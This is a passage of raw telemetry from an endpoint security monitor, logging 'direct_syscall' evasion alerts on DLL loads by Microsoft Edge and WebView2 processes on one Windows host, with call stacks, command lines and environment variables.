C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca863c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffeca8d41ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca8ad7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffeca8ab94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffec49b8fd2 C:\Windows\System32\winhttp.dll!WinHttpGetProxyForUrlEx2|0x7ffec49d3207 C:\Windows\System32\winhttp.dll!WinHttpCheckPlatform|0x7ffec4942688 C:\Windows\System32\winhttp.dll!WinHttpQueryHeaders|0x7ffec4941f57 C:\Windows\System32\winhttp.dll!WinHttpQueryHeaders|0x7ffec4941df4 C:\Windows\System32\winhttp.dll!WinHttpQueryHeaders|0x7ffec4941d1f C:\Windows\System32\winhttp.dll!WinHttpQueryHeaders|0x7ffec4942e67 C:\Windows\System32\winhttp.dll!WinHttpSendRequest|0x7ffeaf223d4f C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf2237ff C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf223527 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf2225cc C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf208c8e C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf25815d C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffeaf237367 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffeaf21a8de C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf218ff5 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf205619 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffea522e556 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea522db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52a6922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffea5259dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52589d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526f09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffec866ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec866a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec8669c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:18:18+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 13525558 + Pid: 3940 + Tid: 5712 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:18:15.572138 +0100 CET + Params: base_address➜ 7ffe8b4d0000, checksum➜ 444943, default_address➜ 7ffe8b4d0000, file_path➜ C:\Windows\System32\CryptoWinRT.dll, image_size➜ 446464, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 3940, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 3940 + Ppid: 3812 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:3940 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_3940_XKKPXYPGYJXTBUNF EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1143 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"rysjBHlWx3BpFO49OfDke0AR9M7VE/f0VaIPL2c9flA=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"KUYlBkf/AKTkyBOiqSvSy+aWIxYmf3hHNS8ItU7x8L0=" EFC_8580_1262719628:1 EFC_8580_1592913036:1 EFC_8580_2283032206:1 EFC_8580_2775293581:1 EFC_8580_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca86701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8d4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca89fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffec7c6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffec9a67a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a6759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a844fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffec9bed25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9a387d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a372ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a36e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffeaf258aac C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffeaf2226db C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf208c8e C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf25815d C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffeaf237367 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!DllCanUnloadNow|0x7ffeaf21a8de C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf218ff5 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffeaf205619 C:\Windows\System32\MicrosoftAccountWAMExtension.dll!?|0x7ffea522e556 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea522db3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52a6922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffea5259dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52589d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526f09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffec866ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec866a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec8669c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:30:45+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 15722715 + Pid: 5816 + Tid: 17248 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:30:43.932886 +0100 CET + Params: base_address➜ 7ffea65b0000, checksum➜ 678716, default_address➜ 7ffea65b0000, file_path➜ C:\Windows\System32\Windows.Web.dll, image_size➜ 638976, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 5816, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 5816 + Ppid: 10508 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10508.12712.16932038355561665719 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10508.12712.16932038355561665719 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:5816 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_5816_TVMVJEWKRZXCIJBC EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:341 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80799542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80799474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80799548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80799a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80799a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff80799a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff80799a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff80799a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807998b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffe8a171014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffe89f83640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffe89f83a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffeca8653db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca864e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8684cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffeca86701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffeca8d4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffeca8763a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca876020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffeca89fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffec7c6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffec9a67a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a6759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffec9a844fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffec9bed25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffec9a3923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a38af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffec9a3966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffec9a3a6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffea525d940 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea525bb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea525a59c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea5266d97 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea526dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffea52706d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffec866ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec866a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffec8669c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffeca3de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffeca8ec53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-03T15:30:45+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 15723186 + Pid: 5816 + Tid: 9848 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-03 15:30:43.9440184 +0100 CET + Params: base_address➜ 7ffea62e0000, checksum➜ 879719, default_address➜ 7ffea62e0000, file_path➜ C:\Windows\System32\Windows.StateRepositoryPS.dll, image_size➜ 802816, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 5816, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 5816 + Ppid: 10508 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10508.12712.16932038355561665719 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10508.12712.16932038355561665719 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:5816 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_5816_TVMVJEWKRZXCIJBC EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:341 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY 